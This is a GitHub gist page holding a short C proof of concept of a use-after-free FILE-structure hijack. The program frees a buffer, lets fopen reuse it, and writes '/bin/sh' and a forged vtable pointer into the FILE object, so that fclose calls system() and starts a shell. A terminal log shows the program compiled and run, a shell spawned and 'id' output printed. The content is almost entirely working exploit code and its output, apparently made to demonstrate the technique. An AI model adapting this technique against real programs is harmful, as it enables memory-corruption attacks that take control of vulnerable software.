Skip to content

Instantly share code, notes, and snippets.

@inaz2
Created September 29, 2016 07:14
Show Gist options
  • Save inaz2/129f28a376a95ca5096f414596246e8b to your computer and use it in GitHub Desktop.
Save inaz2/129f28a376a95ca5096f414596246e8b to your computer and use it in GitHub Desktop.
$ gcc uaf-fopen.c
uaf-fopen.c: In function ‘main’:
uaf-fopen.c:20:25: warning: assignment makes pointer from integer without a cast [enabled by default]
*(void **)(p1+0xd8) = 0x601028-0x88;
^
$ ./a.out
p1 = 0x1fc8010
fp = 0x1fc8010
$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare),116(libvirtd),999(docker)
$
Segmentation fault (core dumped)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void wontcall()
{
system("false");
}
int main()
{
char *p1 = malloc(0x100);
printf("p1 = %p\n", p1);
free(p1);
FILE *fp = fopen("/etc/passwd", "r");
printf("fp = %p\n", fp);
strcpy(p1, "/bin/sh");
*(void **)(p1+0xd8) = 0x601028-0x88;
fclose(fp);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment